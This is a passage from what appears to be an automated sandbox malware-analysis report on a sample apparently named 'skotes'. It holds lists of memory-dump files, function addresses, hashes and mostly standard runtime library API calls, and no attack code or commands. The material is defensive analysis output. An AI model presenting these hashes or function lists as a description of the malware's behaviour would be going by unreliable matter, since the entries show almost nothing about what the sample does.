Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: eaa25bec731bc1fd343fb68e9271cf8561d9638650b2740b0b71060c68807ee0
Instruction ID: 59e1950fa4a7bfdc4311988715ae9959772455f1ba72ae8080b7e49d611b7483
Opcode Fuzzy Hash: eaa25bec731bc1fd343fb68e9271cf8561d9638650b2740b0b71060c68807ee0
Instruction Fuzzy Hash: C241D030A04AC49ACF19FFA698597EC77A56F20304F1440A9E8566F3C3CB754E04CB62

Function 001EE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 001EE7D7

Part of subcall function 001EE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 001EE577
Part of subcall function 001EE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 001EE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 001EE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 001EE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 001EE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 001EE879
Concurrency::location::_Assign.LIBCMT ref: 001EE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 001EE8B5

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 3897ab4f46fadafcfd881be0a7d41c0955d81509e36712418f3e42c5147ed755
Instruction ID: 0a82de156f9f04567ccce92edbf6a8bac30453e5e3f2b63e44e04a2106e2db99
Opcode Fuzzy Hash: 3897ab4f46fadafcfd881be0a7d41c0955d81509e36712418f3e42c5147ed755
Instruction Fuzzy Hash: 1D414A35A00248DFCF04EF65C894AADB7B9FF48310F1880A9DD499B382DB70A941CF91

Function 001D6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 001D6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 001D6F22
std::_Rethrow_future_exception.LIBCPMT ref: 001D6F32
__Mtx_unlock.LIBCPMT ref: 001D6FD5
__Mtx_unlock.LIBCPMT ref: 001D70DB
__Mtx_unlock.LIBCPMT ref: 001D7116

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 120fee9937795c79c5f44a09498f10fc544c0349b325e77726723d76fc0b9056
Instruction ID: a2783c730196d7a40179d5e699962ca0ca22c1266d251c7099c7a4ce3e5f7d48
Opcode Fuzzy Hash: 120fee9937795c79c5f44a09498f10fc544c0349b325e77726723d76fc0b9056
Instruction Fuzzy Hash: AEC1DF71904709DBDB20DFA4C845BAFBBF4AF15310F00492FE81697792EB35A908CBA1

Function 001E44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 001E4538
ListArray.LIBCONCRT ref: 001E456C
Hash.LIBCMT ref: 001E45D5
Hash.LIBCMT ref: 001E45E5

Part of subcall function 001E9C41: std::bad_exception::bad_exception.LIBCMT ref: 001E9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 001E474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001E47A4

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 1fbcc2b2f6de8741a7dcfbc2487fe63a3d4395ed7c8230f0e65f7e48e9e10a8d
Instruction ID: 08abbc751f9ca9137f6ad7341d96327d34ccaacd509a91a404d97afad1545621
Opcode Fuzzy Hash: 1fbcc2b2f6de8741a7dcfbc2487fe63a3d4395ed7c8230f0e65f7e48e9e10a8d
Instruction Fuzzy Hash: D28182B0A11B62BBD708EF75C445BD9FAA8BF59700F10431BF52897281CBB4A664CBD1

Function 001DEE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 001DEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 001DEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 001DEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 001DEF0F
Concurrency::Context::Block.LIBCONCRT ref: 001DEF31

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
